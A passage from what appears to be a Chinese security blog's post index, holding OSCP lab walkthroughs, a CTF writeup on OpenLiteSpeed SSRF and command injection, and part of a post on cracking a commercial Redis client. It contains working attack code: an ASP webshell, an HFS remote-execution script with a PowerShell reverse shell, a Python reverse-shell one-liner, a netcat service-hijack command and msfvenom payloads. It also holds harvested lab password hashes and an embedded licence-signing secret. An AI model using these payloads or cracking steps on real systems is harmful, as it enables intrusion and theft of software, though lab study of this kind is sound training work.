","permalink":"https://synology.pub/post/oscp-10.11.1.10mike/","tags":["OSCP","MIKE","靶场"],"title":"OSCP-10.11.1.10（MIKE）"},{"categories":["靶场"],"content":"对其进行端口扫描，发现开放如下端口：\n其中80端口为默认的apache页面。让我好奇的是只开了139 samba 端口（按理说也会开445端口）。 对139端口进行版本识别：nmap -A -sV -Pn 10.11.1.115 -p 139 --script smb-system-info\n因为检测不到具体的版本，所以本地使用 smbclient -L 10.11.1.115 连接目标，同时使用tcpdump 抓取流量。\n版本为2.2.7a 使用远程代码执行漏洞： https://www.exploit-db.com/exploits/10 进行编译：\n使用命令 ./samba-bof -b 0 -v 10.11.1.115 进行getshell\n成功获取root权限，读取proof.txt文件内容：377bbe9add593ba528fd9bd3104d2f25\n收集 收集到的用户名和密码如下：\n账号 哈希 密码 root $1$lwf3NZSA$UGnYCMPL.HmOdnoNyuGHw1 bob $1$2Wf/hKQd$tV9MM3Qd0Y88GvsDfVvHL0 lablab ","permalink":"https://synology.pub/post/oscp-10.11.1.115tophat/","tags":["OSCP","TOPHAT","靶场"],"title":"OSCP-10.11.1.115（TOPHAT）"},{"categories":["靶场"],"content":"端口扫描发现仅开放了80端口\n首页如下：\n通过dirb发现存在test.asp文件和Sites文件夹（里面代码文件是空的）\n访问提示了 \u0026lt;!--script src=hidd3n-script\u0026gt;\u0026lt;/script\u0026gt;--\u0026gt;\n直接访问 hidd3n-script 文件，可以发现是javascript代码，但是经过了一些混淆。\n这里可使用在线平台 http://jsnice.org/ 或 https://www.dejs.vip/encry_decry/obfuscator.html 反混淆或F12大法均可\n可以得到以下关键图片\n又一个循环\n仔细检查javascript代码，发现一个拼接的路径 1f2e73705207bdd6467e109c1606ed29-21213 (javascript里面注释)\n根据注释的js代码拼接路径获得了一个新的二级路径\n还是php的站点隐藏伪装成iis的！！！\n通过关键词 slogin_POST_send 搜索到漏洞： https://www.exploit-db.com/exploits/7444 使用php反弹脚本 https://github.com/pentestmonkey/php-reverse-shell 进行反弹\n成功的接收到shell\n使用python创建交互式shell\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 查看版本、内核：（后补的图）\n查找suid程序\n检测pkexec版本，确定存在漏洞\n提权使用 https://github.com/arthepsy/CVE-2021-4034/ 成功进行提权获取到root权限，其中proof.txt内容：361b2f5b9f2591f7844dde78939ad4d4\n搜集 搜集到的系统用户名和密码如下：\n用户名 哈希 密码 root $6$o5.sY//6$lZjs18bifYSaw71/7lLVYxzGZxXNRUQ3U/kKfvgPNBFVBwE7onLgLBFBbZJGpSNc4lSOJ1PzRUdSAu7lpUuiY/ kibosh $6$fcLQUCyf$dgO9Ft0NfNhrgep.mbx/eYjM07.xorxl79M2k8K1lUtu2NF18mGsZ7qxNuNFw.OVtGnEuPZgdGEHAbiUJqE/j0 ","permalink":"https://synology.pub/post/oscp-10.11.1.133gh0st/","tags":["OSCP","Gh0st","靶场"],"title":"OSCP-10.11.1.133（Gh0st）"},{"categories":["靶场"],"content":"扫描端口仅开放了21、80、443端口。\n其中21端口存在匿名访问\n80端口也存在IIS PUT相关漏洞。\n为了方便，直接使用ftp上传webshell文件。\n使用如下cmd 马：\n\u0026lt;% Set oScript = Server.CreateObject(\u0026#34;WSCRIPT.SHELL\u0026#34;) Set oScriptNet = Server.CreateObject(\u0026#34;WSCRIPT.NETWORK\u0026#34;) Set oFileSys = Server.CreateObject(\u0026#34;Scripting.FileSystemObject\u0026#34;) szCMD = request(\u0026#34;cmd\u0026#34;) If (szCMD \u0026lt;\u0026gt; \u0026#34;\u0026#34;) Then szTempFile = \u0026#34;C:\\\u0026#34; \u0026amp; oFileSys.GetTempName( ) Call oScript.Run (\u0026#34;cmd.exe /c \u0026#34; \u0026amp; szCMD \u0026amp; \u0026#34; \u0026gt; \u0026#34; \u0026amp; szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %\u0026gt; \u0026lt;HTML\u0026gt; \u0026lt;BODY\u0026gt; \u0026lt;FORM action=\u0026#34;\u0026#34; method=\u0026#34;GET\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;cmd\u0026#34; size=45 value=\u0026#34;\u0026lt;%= szCMD %\u0026gt;\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Run\u0026#34;\u0026gt; \u0026lt;/FORM\u0026gt; \u0026lt;PRE\u0026gt; \u0026lt;%= \u0026#34; \u0026#34; \u0026amp; oScriptNet.ComputerName \u0026amp; \u0026#34;\\\u0026#34; \u0026amp; oScriptNet.UserName %\u0026gt; \u0026lt;br\u0026gt; \u0026lt;% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %\u0026gt; \u0026lt;/BODY\u0026gt; \u0026lt;/HTML\u0026gt; 直接运行的话会提示没有权限，因为修改了机器的cmd.exe的权限\n没权限原因：（复制cmd.exe到可写目录都没权限）\n这里修改代码，复制出cmd到其他目录：\n用到的大马 asp（不是必要）：https://github.com/tennc/webshell/blob/master/asp/%E4%B8%8D%E7%81%AD%E4%B9%8B%E9%AD%82.asp 用到文件上传马：https://github.com/xl7dev/WebShell/blob/master/Asp/File%20upload.asp 用到的cmd马文件：https://github.com/rutsky/cmdasp/blob/master/cmdasp.asp 进行如下的修改：\n可以看到能执行成功：\nXP 32位cmd.exe要通过upload.asp上传（ftp匿名登陆上传对文件大小有限制）\nXP cmd.exe 修改cmd.asp为如下代码，可以动态执行命令：\n\u0026lt;% \u0026#39; 获取要执行的命令 cmd = Request.QueryString(\u0026#34;cmd\u0026#34;) \u0026#39; 设置执行命令的路径 cmdPath = \u0026#34;C:\\Documents and Settings\\All Users\\Documents\\cmd.exe\u0026#34; \u0026#39; 创建WScript.Shell对象 Set WshShell = Server.CreateObject(\u0026#34;WScript.Shell\u0026#34;) \u0026#39; 执行命令并获取输出 Set exec = WshShell.Exec(cmdPath \u0026amp; \u0026#34; /c \u0026#34; \u0026amp; cmd) output = exec.StdOut.ReadAll() \u0026#39; 输出命令执行结果 Response.Write(output) %\u0026gt; 可以通过访问 http://10.11.1.14/cmd.asp?cmd= 的形式执行命令：\n可以使用sc sdshow 命令检查哪些服务可以被进行修改操作（环境重置，无图） 参考链接： https://www.drchaos.com/post/a-walk-down-adversary-lane-xp-sp1 在 Windows XP 系统下，可以通过以下步骤使用命令行检查哪些服务可以被允许任何人进行修改： 1. 打开命令提示符（cmd）。 2. 输入以下命令并按 Enter 键：sc sdshow scmanager 这将显示 Service Control Manager 的安全描述符。其中包含了所有服务的安全设置信息。 1. 查找 \u0026#34;D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\u0026#34; 这个字符串。如果该字符串出现在某个服务的安全描述符中，则表示该服务允许任何人进行修改。 例如，如果要检查 \u0026#34;Print Spooler\u0026#34; 服务是否允许任何人进行修改，可以输入以下命令并按 Enter 键： sc sdshow spooler 在输出中查找上述字符串。如果该字符串存在，则表示该服务允许任何人进行修改。 查找到两个服务运行被修改upnphost 和 SSDPSRV\n通过执行下面命令进行配置（这里有个坑 就是=号后面得加空格，不然会报错）\nsc config upnphost binPath= \u0026#34;C:\\Inetpub\\wwwroot\\nc.exe 192.168.45.228 4431 -e C:\\Inetpub\\wwwroot\\cmd.exe\u0026#34; sc config upnphost obj= \u0026#34;.\\LocalSystem\u0026#34; password= \u0026#34;\u0026#34; sc qc upnphost 还需要启动SSDPSRV服务，这个upnphost才能启动\nsc config SSDPSRV start= auto net start SSDPSRV 这里又遇到一个坑，那就是通过服务反弹的shell存活期只有30秒（服务超时会断开shell，但是没提示。症状就是输入任何内容都无反应。），所以不得不把一些命令写道bat批处理文件中。\n其中whoami这个程序被删了，所以cmd马执行才会没反应\n使用批处理读proof.txt文件内容。有一个坑，在bat脚本中如果有%符号，需要双写！\nfor /r \u0026#34;C:\\Documents and Settings\\\u0026#34; %%i in (Proof.txt) do @type \u0026#34;%%i\u0026#34; 一开始想要加用户，开rdp。但是我本地mstsc坏了，总是提示密码不对\n最后总算时读取到了proof.txt文件内容：a26f37da4583ff68f44d133d12ae3459\n搜集 搜集到的用户名密码信息如下：\n用户名 哈希 密码 Administrator 3194891312029ef822116b418563087f bob bobis2cool ","permalink":"https://synology.pub/post/oscp-10.11.1.14bob/","tags":["OSCP","BOB","靶场"],"title":"OSCP-10.11.1.14（BOB）"},{"categories":["靶场"],"content":"扫描端口 使用nmap -sV -sC 10.11.1.5 -Pn对其进行扫描\n通过扫描发现，应该是SMB相关的漏洞，使用 nmap --script smb-vuln-ms17-010,smb-vuln-ms08-067 --max-retries 5 -p 445 10.11.1.5 进行探测SMB相关漏洞\n可以发现存在MS17-010漏洞。\n漏洞利用 先确认下目标的操作系统\nnmap -sV -p 445 -Pn 10.11.1.5\n发现是xp系统，使用https://github.com/totekuh/eternalblue 中的脚本(需要是python2环境，python3会报错)。\n这里我创建了一个c文件，功能为添加用户。内容如下：\n#include \u0026lt;stdlib.h\u0026gt; int main () { int i; // add user i = system (\u0026#34;net user juncye Jun12CyE /add \u0026amp;\u0026amp; net localgroup administrators juncye /add\u0026#34;); return 0; } 使用kali中的编译工具进行编译和去掉符号\n/usr/bin/i686-w64-mingw32-gcc useradd.c -o us.exe /usr/bin/i686-w64-mingw32-strip us.exe\n使用send_and_execute.py 上传exe并执行\n发现上面使用的脚本并不会跑到send file地方，所以换了个exploit脚本 https://github.com/helviojunior/MS17-010 这个脚本是有效的\n可以反弹shell\n获取到了proof.txt文件 ed20b785808f615be2c588ed925b18ce\n参考 参考链接：\nhttps://infosecwriteups.com/exploit-eternal-blue-ms17-010-for-windows-xp-with-custom-payload-fabbbbeb692f 附加 获取系统用户和密码信息：\n用户名 HASH 密码 Administrator a8c8b7a37513b7eb9308952b814b522b HelpAssistant 2733cdb0d8a1fec3f976f3b8ad1deeef SUPPORT_388945a0 0f7a50dd4b95cec4c1dea566f820f4e7 alice b74242f37e47371aff835a6ebcac4ffe aliceishere 在C盘根目录下发现bank-account.zip文件，密码为alice\n打开后的内容如下：\n","permalink":"https://synology.pub/post/oscp-10.11.1.5alice/","tags":["OSCP","ALICE","靶场"],"title":"OSCP-10.11.1.5（ALICE）"},{"categories":["靶场"],"content":"对其进行端口扫描\n发现是Drupal 7的版本，使用 droopescan scan drupal -u http://10.11.1.50/ 进行扫描\n发现网上的payload均为sql inject，然而网站不支持POST方法\n通过再次全端口扫描，发现了一个新端口：\n可以发现是HFS文件服务器\n通过查看Alice's Stuff文件夹中的文件，获取了几个用户名：Ann、Lee、Bethany、Nick、Pedro\n在Bethany's Files文件夹中发现了密码/用户字典文件\n还有 Holiday_Locations.txt 文件\n使用HFS的命令执行漏洞 https://www.abotaku.cn/archives/108.html 查看系统用户：\n读取HFS配置文件密码信息，无法进行解密\n使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.212 LPORT=8780 -f exe -o reve.exe 生成反弹马\n先下载文件\n可以看到已经下载完成了\n使用下面的代码进行反弹shell\n# Exploit Title: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) # Google Dork: intext:\u0026#34;httpfileserver 2.3\u0026#34; # Date: 20/02/2021 # Exploit Author: Pergyz # Vendor Homepage: http://www.rejetto.com/hfs/ # Software Link: https://sourceforge.net/projects/hfs/ # Version: 2.3.x # Tested on: Microsoft Windows Server 2012 R2 Standard # CVE : CVE-2014-6287 # Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands #!/usr/bin/python3 import base64 import os import urllib.request import urllib.parse lhost = \u0026#34;192.168.45.196\u0026#34; lport = 80 rhost = \u0026#34;10.11.1.50\u0026#34; rport = 9505 # Define the command to be written to a file command = f\u0026#39;$client = New-Object System.Net.Sockets.TCPClient(\u0026#34;{lhost}\u0026#34;,{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2\u0026gt;\u0026amp;1 | Out-String ); $sendback2 = $sendback + \u0026#34;PS \u0026#34; + (Get-Location).Path + \u0026#34;\u0026gt; \u0026#34;; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()\u0026#39; # Encode the command in base64 format encoded_command = base64.b64encode(command.encode(\u0026#34;utf-16le\u0026#34;)).decode() print(\u0026#34;\\nEncoded the command in base64 format...\u0026#34;) # Define the payload to be included in the URL payload = f\u0026#39;exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}\u0026#39; # Encode the payload and send a HTTP GET request encoded_payload = urllib.parse.quote_plus(payload) url = f\u0026#39;http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}\u0026#39; urllib.request.urlopen(url) print(\u0026#34;\\nEncoded the payload and sent a HTTP GET request to the target...\u0026#34;) # Print some information print(\u0026#34;\\nPrinting some information for debugging...\u0026#34;) print(\u0026#34;lhost: \u0026#34;, lhost) print(\u0026#34;lport: \u0026#34;, lport) print(\u0026#34;rhost: \u0026#34;, rhost) print(\u0026#34;rport: \u0026#34;, rport) print(\u0026#34;payload: \u0026#34;, payload) # Listen for connections print(\u0026#34;\\nListening for connection...\u0026#34;) os.system(f\u0026#39;nc -nlvp {lport}\u0026#39;) 接收到了反弹的shell\n安装了100多个补丁\n使用CVE-2019-1458进行提权 https://github.com/unamer/CVE-2019-1458 坑爹的是只能运行一次\n使用另一个CVE-2017-0213提权 https://github.com/zcgonvh/CVE-2017-0213 获取到了proof.txt文件内容：1f1f1eb58e44d5d24e44070b3b29c0d5\n搜集 搜集到的账号密码信息：\n账号 哈希 密码 Administrator 31d6cfe0d16ae931b73c59d7e0c089c0 [空密码] alice b74242f37e47371aff835a6ebcac4ffe aliceishere Bethany 15a32e36e8612d886be1b8981d9679ee ihavepasswords3 ","permalink":"https://synology.pub/post/oscp-10.11.1.50bethany/","tags":["OSCP","BETHANY","靶场"],"title":"OSCP-10.11.1.50（BETHANY）"},{"categories":["靶场"],"content":"端口扫描\n发现开放了web端口，但是好像没有内容\n发现存在james服务，使用exploit https://www.exploit-db.com/exploits/50347 发现好像没作用\n默认用户名密码为root/root\n可以使用setpassword重置用户密码\n然后访问110端口 使用 USER john 登录，发现没有回应 同时，发现存在2049 nfs端口。 使用 showmount -e 10.11.1.72 检测映射的文件夹\n在本地创建个nfs目录，然后使用 mount -t nfs 10.11.1.72:/home nfs 进行挂载\n可以看到成功的挂载了，只有marcus目录有内容\n但是用户组不对没法打开\n是因为默认挂在成了NFS4的版本\n取消挂载并设置NFSv3版本\numount nfs mount -t nfs -o vers=3 10.11.1.72:/home nfs 现在正确显示了用户和组，但是依然读取不了，陷入了循环！nfs好像只提供了linux系统的用户有哪些，更像是一个兔子洞。\n继续回到110端口，真TM的，telnet就可以。\njohn没有内容\n在尝试ryuu用户时，终于看到了希望\n获取到了用户名和密码 username: ryuu password: QUHqhUPRKXMo4m7k 使用上面的密码登录ssh能够正常的登录。使用ctrl + c 跳过\n又是32位版本linux，唉\n使用python反弹shell\npython -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;192.168.45.212\u0026#34;,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\\[\u0026#34;/bin/sh\u0026#34;,\u0026#34;-i\u0026#34;\\]);\u0026#39; 提权 通过脚本 https://github.com/InteliSecureLabs/Linux_Exploit_Suggester/blob/master/Linux_Exploit_Suggester.pl 找到几个可以提权的漏洞\n使用 https://www.exploit-db.com/exploits/35161 进行提权\n读取proof.txt文件，内容：94b90a5f2996a89b71d814d4f96c22f3\n彩蛋(不是) 搜集 该linux主机用户名和密码信息：\n用户名 哈希 密码 root $6$WWXC6Cv2$OeknUkXwiX3uctRjRIhK0AYzLv6uCjZGxJgtAdCy4YM4cHMKgyDtIJirEO/m.pgiiwFHfJTAndfATNQN1X0c2. ryuu $6$tIWQdOd.$Adfe4hYI9n1ovKBIr9xByjslPY86Fiar7jMFRT2FfGAXwXD1mwLpsl1lpoo5jm4Y.XjD54TA/.Wp.ql0x4FUG/ QUHqhUPRKXMo4m7k ","permalink":"https://synology.pub/post/oscp-10.11.1.72beta/","tags":["OSCP","beta","靶场"],"title":"OSCP-10.11.1.72（beta）"},{"categories":["靶场"],"content":"端口扫描\n发现smb存在ms17-010漏洞\n和alice那台机器一样，直接使用脚本添加用户不行，使用msf中的psexec也不行\n尝试msf中执行命令\n大无语事件，获取到proof.txt文件内容：1f88aa9e73f267356f033a42d9320b50\n后来发现打alice机器时用的exp自带命令执行。哎！\n收集 收集的用户名密码信息如下：\n用户名 哈希 密码 Administrator 83757059f87b33e2d8f8bb39cf1acb39 bruce aca4d9cdf38588f50cefa46cab5555b4 ","permalink":"https://synology.pub/post/oscp-10.11.1.75bruce/","tags":["OSCP","BRUCE","靶场"],"title":"OSCP-10.11.1.75（BRUCE）"},{"categories":["靶场"],"content":"端口扫描 对其进行端口扫描nmap -Pn -sV 10.11.1.8\n为了省事，直接routescan直接扫描常见的几个端口\nWEB端口 发现存在web端口，那就看看是什么样子。\n主页是一个静态页面，通过访问robots.txt文件，发现2个目录\n其中，tmp目录不存在，internal页面也是一个静态页面。\n评论处好像也不存在注入之类的：\nFTP 直接nc访问ftp端口试一试：\n是vsftpd 2.0.1的版本，尝试2.3.4版本的后门漏洞（笑脸漏洞：任意用户名后加 字符串：:)会开启6200端口）进行攻击。\n参考连接 https://www.exploit-db.com/exploits/49757 （发现不行，不存在漏洞）\n好在存在匿名登陆。如下：\n最后却无法显示列表，此路不通！\nMYSQL 检测mysql常见的漏洞，同样不存在任何漏洞\n再次？ 重写一次扫描端口，这次发现了631端口，直接访问为403状态码\n重新审视80端口，发现评论是使用的Advanced Comment System 系统，管理后台路径 /internal/advanced_comment_system/admin.php\n默认是admin密码，但是没啥用。\n通过搜索引擎发现相关漏洞 https://packetstormsecurity.com/files/165108/Advanced-Comment-System-1.0-Remote-Command-Execution.html 可以执行命令：\n提权 搜索suid权限程序有没有问题\n通过反弹shell进行\n通过查看内核版本，发现内核版本在脏牛漏洞范围内 使用内核漏洞进行提权 https://www.exploit-db.com/exploits/9542 其中，目标系统glibc版本太低，在网上下载了centos 4.8的系统镜像进行编译\n编译后的文件： https://github.com/wrysunny/Linux-Kernel-2.6-2.6.19-Ring0-Privilege-Escalation 使用base64进行编码，然后使用php的base64_decode进行解码写文件\n获取到了proof.txt及其内容 f56a325ef00d4553a4046b7eacc5d667\n","permalink":"https://synology.pub/post/oscp-10.11.1.8phoenix/","tags":["OSCP","phoenix","靶场"],"title":"OSCP-10.11.1.8（phoenix）"},{"categories":["CTF"],"content":"比赛时没有头绪，赛后经过查找资料进行了复现。现把复现过程记录下来。\n题目回顾 比赛提供的容器中使用了开源的openlitespeed web中间件。 容器中提供了curl.so文件。 根据php代码提示，是个curl 引发的SSRF相关漏洞。 题目Docker附件如下：\nopenlitespeed_8ed1327d6e588f5625dd8729c7a00269.zip SO文件有问题 ？ 根据index.php的内容，curl_init()、curl_exec()判断入口点应该是SSRF类的漏洞。\n也怀疑是curl.so文件可能会有命令执行类的后门。\n经过使用IDA Pro、Ghidra等工具进行分析，发现没有异常，是个正常的so文件。\nopenlitespeed特性？ 因为在curl.so文件中未发现问题，着重点放在了openlitespeed中间件上，因为一般的CTF WEB环境会用nginx、apache这些，这次用了openlitespeed，感觉openlitespeed有猫腻。\n根据openlitespeed官网 的简绍，性能比nginx、apache还好。\n根据官网doc 的介绍，openlitespeed安装后除了正常的web服务接口，还开放了用来管理的7080端口。\n问题就出在这个7080管理端口上。\n进行SSRF读取文件 根据index.php中的代码，只要传入CURLOPT_URLurl地址，即可进行SSRF。 这里如果直接传入curl_opt[CURLOPT_URL]代码就会把CURLOPT_URL解析成字符串。无法进行读取文件。\n把上述代码放到PhpStorm中，CURLOPT_URL被定义成10002int类型。\n也可以查看CURLOPT_URL的实现，在C:\\Users\\xxx\\PhpStorm-2022.2.2.win\\plugins\\php\\lib\\php.jar!\\stubs\\curl\\curl_d.php中实现：\n此时，我们可以传入curl_opt[10002]来替代curl_opt[CURLOPT_URL]，可以成功进行读取文件：\n获取openlitespeed管理密码 前面根据官网的手册，可以确定openlitespeed管理端口为7080端口，还是https类型的。默认的管理用户和密码是随机生成的，保存在/usr/local/lsws/adminpasswd中。\n这里可以结合SSRF读取该文件的内容。结果如下：\n获取到用户名和密码为：admin/OTc1MmM4，后面的1是php 请求curl造成的，可以忽略。\n确认openlitespeed管理端口 默认的管理端口为7080，根据回显的结果进行判断（端口存在返回1，端口不存在不返回任何信息）： 端口不存在情况：\n端口存在情况：\n由此可以确认openlitespeed的管理端口是默认的7080，没有改。\n直接请求https://localhost:7080网站没有返回任何信息，这里是因为管理端口使用了自签的https证书。使用curl要进行忽略ssl验证。要使用CURLOPT_SSL_VERIFYPEER和CURLOPT_SSL_VERIFYHOST参数，他俩的定义如下：\ndefine(\u0026#39;CURLOPT_SSL_VERIFYPEER\u0026#39;, 64); define(\u0026#39;CURLOPT_SSL_VERIFYHOST\u0026#39;, 81); 只要传入curl_opt[64]=false\u0026amp;curl_opt[81]=false\u0026amp;curl_opt[10002]=https://localhost:7080/login.php即可看到回显内容。\n进行登录的话，因为需要传递cookies，使用curl会比较麻烦，可以使用Gopher协议进行post登录。\n利用openlitespeed进行getshell 先在本地的Docker中映射下7080端口进行调试。\n登录 登录post数据包如下：\nPOST /login.php HTTP/2 Host: 192.168.0.5:7080 Cookie: LSUI37FE0C43B84483E0=d5bb75a40105f0050637fccd01fc3b59; litespeed_admin_lang=english Content-Length: 26 Cache-Control: max-age=0 Sec-Ch-Ua: \u0026#34;Chromium\u0026#34;;v=\u0026#34;105\u0026#34;, \u0026#34;Not)A;Brand\u0026#34;;v=\u0026#34;8\u0026#34; Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: \u0026#34;Windows\u0026#34; Upgrade-Insecure-Requests: 1 Origin: https://192.168.0.5:7080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.0.5:7080/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 userid=admin\u0026amp;pass=OTc1MmM4 成功登录到后台：\n版本为OpenLiteSpeed 1.7.16\n命令注入 根据网上搜索到的exploit-db Openlitespeed WebServer 1.7.8 - Command Injection 发现其1.7.8版本存在命令注入漏洞。\n漏洞点在https://xxxx:7080/index.php#view/confMgr.php?m=serv\u0026amp;p=ext中\n点击编辑，在Command中就是本次的漏洞点了。\n这里的内容有点限制，像'、\u0026lt;等这些特殊符号都是禁止的，而且限制了/usr/local/lsws/这个路径下。不慌，这里可以用../进行跳级。 这里我用touch命令创建个文件进行演示，这里要填../../bin/touch /tmp/maskefd。\n请求的post数据包如下：\nPOST /view/confMgr.php HTTP/2 Host: 192.168.0.5:7080 Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=692d05e4e28ca4f1d4c460f5ee9e4cff; LSID37FE0C43B84483E0=lYbu6G3p%2BI4%3D; LSPA37FE0C43B84483E0=lHU5AAYgVU4%3D Content-Length: 506 Sec-Ch-Ua: \u0026#34;Chromium\u0026#34;;v=\u0026#34;105\u0026#34;, \u0026#34;Not)A;Brand\u0026#34;;v=\u0026#34;8\u0026#34; Accept: text/html, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Sec-Ch-Ua-Platform: \u0026#34;Windows\u0026#34; Origin: https://192.168.0.5:7080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://192.168.0.5:7080/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 name=lsphp\u0026amp;address=uds%3A%2F%2Ftmp%2Flshttpd%2Flsphp.sock\u0026amp;note=\u0026amp;maxConns=10\u0026amp;env=PHP_LSAPI_CHILDREN%3D10%0D%0ALSAPI_AVOID_FORK%3D200M\u0026amp;initTimeout=60\u0026amp;retryTimeout=0\u0026amp;persistConn=1\u0026amp;pcKeepAliveTimeout=\u0026amp;respBuffer=0\u0026amp;autoStart=2\u0026amp;path=%2e%2e%2f%2e%2e%2fbin%2ftouch%20%2ftmp%2fmaskefd\u0026amp;backlog=100\u0026amp;instances=1\u0026amp;extUser=\u0026amp;extGroup=\u0026amp;umask=\u0026amp;runOnStartUp=\u0026amp;extMaxIdleTime=\u0026amp;priority=0\u0026amp;memSoftLimit=2047M\u0026amp;memHardLimit=2047M\u0026amp;procSoftLimit=1400\u0026amp;procHardLimit=1500\u0026amp;a=s\u0026amp;m=serv\u0026amp;p=ext\u0026amp;t=A_EXT_LSAPI\u0026amp;r=lsphp\u0026amp;tk=0.73205300+1664442315 重启应用 页面左上角有个下拉选项，选择restart LiteSpeed\n相应的post数据包如下：\nPOST /view/serviceMgr.php HTTP/2 Host: 192.168.0.5:7080 Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=692d05e4e28ca4f1d4c460f5ee9e4cff; LSID37FE0C43B84483E0=lYbu6G3p%2BI4%3D; LSPA37FE0C43B84483E0=lHU5AAYgVU4%3D Content-Length: 11 Sec-Ch-Ua: \u0026#34;Chromium\u0026#34;;v=\u0026#34;105\u0026#34;, \u0026#34;Not)A;Brand\u0026#34;;v=\u0026#34;8\u0026#34; Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Sec-Ch-Ua-Platform: \u0026#34;Windows\u0026#34; Origin: https://192.168.0.5:7080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://192.168.0.5:7080/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 act=restart 触发RCE 提交完成后随意访问80端口的phpinfo.php文件，/tmp目录下生成了相应的文件。\n相应的，可以通过写一句话马到/usr/local/lsws/Example/html/目录下。\n写入后需要恢复配置项的Command内容为lsphp74/bin/lsphp，然后再重启一次才行，否则会导致80端口访问不了（相应服务起不来，php解析不了）。\n总结 这道题目考察了SSRF和Openlitespeed等Features，虽然难度较为简单，但还是比较耗费时间的。\n","permalink":"https://synology.pub/post/2022%E5%B9%B4%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%8E%84%E6%AD%A6%E7%BB%84-openlitespeed-writeup/","tags":["2022年网鼎杯","openlitespeed","Writeup"],"title":"2022年网鼎杯玄武组-openlitespeed Writeup"},{"categories":[".net"],"content":"前言 由于上次分享的文章被软件开发者找上门来，不得不把文章设置成加密的，软件也进行了加固。再次进行研究，分析是否还可以进行破解。\n版本信息 本次分析的是RedisAssistant 1.1.8.2版本\n文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- 遭遇混淆？ 由于软件基于.net framework开发编写的，找到安装目录把RedisAssistant.exe拖到dnspy中。\n存在RedisAssistant.Service命名空间，有FreeTrialService类\n首先判断了是否是从微软应用商店下载和是否是officeversion等\n遗憾的是该处做了加固，中文变成了unicode编码，上面还有部分反编译失败了\nCheck类也提示反编译不了 分析不下去了，先上神器de4dot检测看看\n这里提示Unknown Obfuscator，用查壳工具ExeinfoPe进行检查下发现使用了开源.net 混淆器ConfuserEx。\n对ConfuserEx 的处理可以参考我的另一篇文章 记一次.net ConfuserEx反混淆处理 最后成功进行了反混淆\n破解 加载软件到DnsPy中，可以看到RedisAssistant.Service空间的 FreeTrialService类\n会先执行this.bgFreeTrialBackgroundWorker_DoWork方法，此方法的作用在于向远程服务器发送试用激活请求\n然后进入bgFreeTrialBackgroundWorker_RunWorkCompleted方法\n先用Check.CheckJwtToken(token)检查了token是否有效跟进CheckJwtToken方法进行查看\n先check jwt是否是正确的签名，其中Check.string_0 = \u0026quot;jingchen39128371237287123974@qwe123chen\u0026amp;*\u0026quot;; Check.smethod_1 方法如下:\nprivate static string smethod_1(string string_2, string string_3) { string result = string.Empty; using (HMACSHA256 hmacsha = new HMACSHA256(Encoding.UTF8.GetBytes(string_3))) { result = Check.smethod_2(hmacsha.ComputeHash(Encoding.UTF8.GetBytes(string_2))); } return result; } Check.smethod_2 方法如下：\nprivate static string smethod_2(byte[] byte_0) { string result = string.Empty; if (byte_0 != null) { StringBuilder stringBuilder = new StringBuilder(); foreach (byte b in byte_0) { stringBuilder.AppendFormat(\u0026#34;{0:x2}\u0026#34;, b); } result = stringBuilder.ToString(); } return result; } 